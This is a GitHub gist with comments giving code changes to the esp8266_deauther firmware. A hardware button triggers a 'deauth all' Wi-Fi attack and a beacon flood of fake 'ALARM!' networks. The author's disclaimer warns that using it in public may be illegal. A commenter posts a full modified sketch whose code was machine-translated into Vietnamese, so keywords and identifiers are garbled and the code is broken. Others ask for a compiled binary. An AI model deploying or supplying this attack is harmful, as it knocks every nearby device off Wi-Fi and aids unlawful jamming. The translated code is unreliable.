Skip to content

Instantly share code, notes, and snippets.

@spacehuhn
Last active September 19, 2020 21:53
  • Star 12 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save spacehuhn/4abf9675930b612cf13dc1a206275c43 to your computer and use it in GitHub Desktop.
Deauth-All-Button

Disclaimer

Applying and using the following modifications are up to your responsibility.
I provide this example for you to better understand the code and how such an automatic attack-all could work.
It doesn't mean it will work, I won't provide you with further assistence, or keep this up-to-date.
These modifications make it easy to attack devices you wouldn't want to attack, keep that in mind!
You may easily violate law by using such an attack in public space.


Replace cli with serialInterface if you're using an older version of esp8266_deauther!

In the end of setup():

  pinMode(D5, INPUT_PULLUP); // enable button pin
  pinMode(D4, OUTPUT);       // enable LED pin

In the beginning of loop():

  if(digitalRead(D5)){
    if(!attack.isRunning()){
      cli.runCommand("stopap");                    // stop access point and web interface
      cli.runCommand("set beaconinterval true");   // change beacon interval from 10/s to 1/s for better performance
      cli.runCommand("scan aps -c 60s");           // start scan for access points each minute
      cli.runCommand("add ssid ALARM! -cl 60 -f"); // add SSID "ALARM!" 60 times
      cli.runCommand("attack -da -b");             // start deauth all and beacon attack
      digitalWrite(D4, LOW);                       // turn LED on
    }
  }else{
    if(attack.isRunning()){
      scan.stop();             // stop scan
      attack.stop();           // stop attack
      digitalWrite(D4, HIGH);  // turn LED off
    }
  }
@Malta112
Copy link

Can somebody make me a .bin file for a esp8266

@vovanhau
Copy link

Sử dụng mã nguồn này để sử dụng nút flash tích hợp NodeMCU. (Tôi có thể đăng cái này ở đây không?)
EDIT: Chỉ cần sửa đổi nó thêm một chút để phù hợp với nhu cầu của tôi: D

/ *

  Copyright (c) 2018 Stefan Kremser
         github.com/spacehuhn

===========================================

  • /

extern "C" {
// Vui lòng làm theo hướng dẫn này:
// https://github.com/spacehuhn/esp8266_deauther/wiki/Installation#compiling-using-arduino-ide
// Và đảm bảo chọn đúng bảng
#include "user_interface.h"
}
#include <EEPROM.h>

#include <ArduinoJson.h>
#if ARDUINOJSON_VERSION_MAJOR! = 5
// Phần mềm được xây dựng bằng ArduinoJson v5.x
// phiên bản 6 vẫn đang trong giai đoạn thử nghiệm tại thời điểm viết bài
// vào công cụ -> quản lý thư viện, tìm kiếm ArduinoJSON và cài đặt phiên bản 5 mới nhất
#error Vui lòng nâng cấp / hạ cấp thư viện ArduinoJSON xuống phiên bản 5!
#endif

#include "oui.h"
#include "language.h"
#include "functions.h"
#include "Settings.h"
#include "Names.h"
#include "SSIDs.h"
#include "Scan.h"

bao gồm "Attack.h"

#include "CLI.h"
#include "DisplayUI.h"
#include "A_config.h"
#include "webfiles.h"

#include "LED.h"

// Biến thời gian chạy //
LED dẫn;
Cài đặt cài đặt;
Những cái tên;
SSID ssids;
Accesspoints điểm truy cập;
Các nhà ga;
Quét quét;
Tấn công tấn công;
CLI cli;
DisplayUI hiển thịUI;

#include "wifi.h"

uint32_t autosaveTime = 0;
uint32_t currentTime = 0;

bool khởi động = false;
int glblattack = 0;

void setup () {
// cho trình tạo ngẫu nhiên
randomSeed (os_random ());

// start serial
Serial.begin(115200);
Serial.println();

// start SPIFFS
prnt(SETUP_MOUNT_SPIFFS);
prntln(SPIFFS.begin() ? SETUP_OK : SETUP_ERROR);

// Start EEPROM
EEPROM.begin(4096);

// auto repair when in boot-loop
uint8_t bootCounter = EEPROM.read(0);

if (bootCounter >= 3) {
    prnt(SETUP_FORMAT_SPIFFS);
    SPIFFS.format();
    prntln(SETUP_OK);
} else {
    EEPROM.write(0, bootCounter + 1); // add 1 to the boot counter
    EEPROM.commit();
}

// get time
currentTime = millis();

// load settings
settings.load();

// set mac for access point
wifi_set_macaddr(SOFTAP_IF, settings.getMacAP());

// start WiFi
WiFi.mode(WIFI_OFF);
wifi_set_opmode(STATION_MODE);
wifi_set_promiscuous_rx_cb([](uint8_t* buf, uint16_t len) {
    scan.sniffer(buf, len);
});

// set mac for station
wifi_set_macaddr(STATION_IF, settings.getMacSt());

// start display
if (settings.getDisplayInterface()) {
    displayUI.setup();
    displayUI.mode = displayUI.DISPLAY_MODE::INTRO;
}

// copy web files to SPIFFS
copyWebFiles(false);

// load everything else
names.load();
ssids.load();
cli.load();

// create scan.json
scan.setup();

// set channel
setWifiChannel(settings.getChannel());

// load Wifi settings: SSID, password,...
#ifdef DEFAULT_SSID
if (settings.getSSID() == "pwned") settings.setSSID(DEFAULT_SSID);
#endif // ifdef DEFAULT_SSID
loadWifiConfigDefaults();

// dis/enable serial command interface
if (settings.getCLI()) {
    cli.enable();
} else {
    prntln(SETUP_SERIAL_WARNING);
    Serial.flush();
    Serial.end();
}

// start access point/web interface
if (settings.getWebInterface()) startAP();

// STARTED
prntln(SETUP_STARTED);

// version
prntln(settings.getVersion());

// setup LED
led.setup();

pinMode(D3, INPUT_PULLUP); // enable button pin

}

void loop () {

if (digitalRead (D3) == LOW) {
glblattack = 1;
if (glblattack == 1) {
if (! attack.isRunning ()) {
cli.runCommand ("attack deauthall"); // bắt đầu deauth all và beacon attack
digitalWrite (D4, LOW); // bật đèn LED
}
}
} else {
if (glblattack == 1) {
if (attack.isRunning ()) {
attack.stop (); // dừng tấn công
digitalWrite (D4, HIGH); // tắt LED
glblattack = 0;
}
}
}

currentTime = millis();

led.update();    // update LED color
wifiUpdate();    // manage access point
attack.update(); // run attacks
displayUI.update();
cli.update();    // read and run serial input
scan.update();   // run scan
ssids.update();  // run random mode, if enabled

// auto-save
if (settings.getAutosave() && (currentTime - autosaveTime > settings.getAutosaveTime())) {
    autosaveTime = currentTime;
    names.save(false);
    ssids.save(false);
    settings.save(false);
}

if (!booted) {
    // reset boot counter
    EEPROM.write(0, 0);
    EEPROM.commit();
    booted = true;

#ifdef HIGHLIGHT_LED displayUI.setupLED ();
#endif // ifdef HIGHLIGHT_LED
}
}

Can I have a bin file?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment